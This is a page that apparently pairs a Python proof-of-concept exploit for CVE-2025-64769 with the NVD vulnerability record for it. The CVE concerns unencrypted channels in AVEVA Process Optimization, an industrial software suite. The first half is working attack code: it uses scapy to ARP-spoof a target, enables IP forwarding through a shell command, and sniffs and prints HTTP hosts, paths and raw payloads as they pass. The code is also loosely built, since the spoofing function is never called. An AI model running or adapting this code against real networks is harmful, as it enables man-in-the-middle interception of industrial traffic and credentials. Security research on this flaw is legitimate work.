CVE-2025-64769

# CVE-2025-64769 PoC - AVEVA Process Optimization Traffic Interception # This PoC demonstrates the vulnerability of unencrypted communication import scapy.all as scapy from scapy.layers.inet import IP, TCP from scapy.layers.http import HTTPRequest def sniff_aveva_traffic(packet): """ Sniff network traffic for AVEVA Process Optimization communications """ if packet.haslayer(HTTPRequest): # Check for AVEVA related HTTP traffic http_layer = packet[HTTPRequest] if b'aveva' in http_layer.Host.lower() or b'process' in http_layer.Path.lower(): print(f"[+] Intercepted AVEVA Traffic") print(f"Source: {packet[IP].src}") print(f"Destination: {packet[IP].dst}") print(f"Host: {http_layer.Host.decode()}") print(f"Path: {http_layer.Path.decode()}") # Extract sensitive data from unencrypted payload if packet.haslayer(scapy.Raw): payload = packet[scapy.Raw].load print(f"Payload (potentially sensitive): {payload[:200]}") print("-" * 50) def arp_spoof(target_ip, gateway_ip): """ Perform ARP spoofing to enable MITM attack """ # Get MAC address of target target_mac = scapy.getmacbyip(target_ip) # Send ARP spoofing packets scapy.send(scapy.ARP(op=2, pdst=target_ip, hwdst=target_mac, psrc=gateway_ip), verbose=False) print(f"[*] ARP spoofing {target_ip} -> {gateway_ip}") # Enable IP forwarding for traffic redirection import os os.system('echo 1 > /proc/sys/net/ipv4/ip_forward') print("[*] Starting AVEVA Process Optimization traffic interception...") print("[*] Note: This PoC is for authorized security testing only") # Sniff traffic on network interface scapy.sniff(filter='tcp port 80 or tcp port 443', prn=sniff_aveva_traffic, store=False) # Note: Actual AVEVA Process Optimization may use custom protocols # Modify filter accordingly based on target application configuration

{"cve": {"id": "CVE-2025-64769", "sourceIdentifier": "[email protected]", "published": "2026-01-16T02:16:45.647", "lastModified": "2026-01-22T15:11:11.250", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Process Optimization application suite leverages connection \nchannels/protocols that by-default are not encrypted and could become \nsubject to hijacking or data leakage in certain man-in-the-middle or \npassive inspection scenarios."}, {"lang": "es", "value": "La suite de aplicaciones de Optimización de Procesos aprovecha canales/protocolos de conexión que por defecto no están cifrados y podrían ser objeto de secuestro o fuga de datos en ciertos escenarios de man-in-the-middle o inspección pasiva."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:A/AC:H/AT:N/PR:N/UI:N/VC:H/VI:H/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 7.6, "baseSeverity": "HIGH", "attackVector": "ADJACENT", "attackComplexity": "HIGH", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:L", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "ADJACENT_NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "LOW"}, "exploitabilityScore": 1.6, "impactScore": 5.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-319"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:aveva:process_optimization:*:*:*:*:*:*:*:*", "versionEndExcluding": "2025", "matchCriteriaId": "6048CC3D-EA33-484F-9223-10632815D595"}]}]}], "references": [{"url": "https://github.com/cisagov/CSAF/blob/develop/csaf_files/OT/white/2026/icsa-26-015-01.json", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://softwaresupportsp.aveva.com/en-US/downloads/products/details/a643eaa3-0d85-4fde-ac11-5239e87a68ea", "source": "[email protected]", "tags": ["Permissions Required"]}, {"url": "https://www.aveva.com/en/support-and-success/cyber-security-updates/", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://www.cisa.gov/news-events/ics-advisories/icsa-26-015-01", "source": "[email protected]", "tags": ["Third Party Advisory", "US Government Resource"]}]}}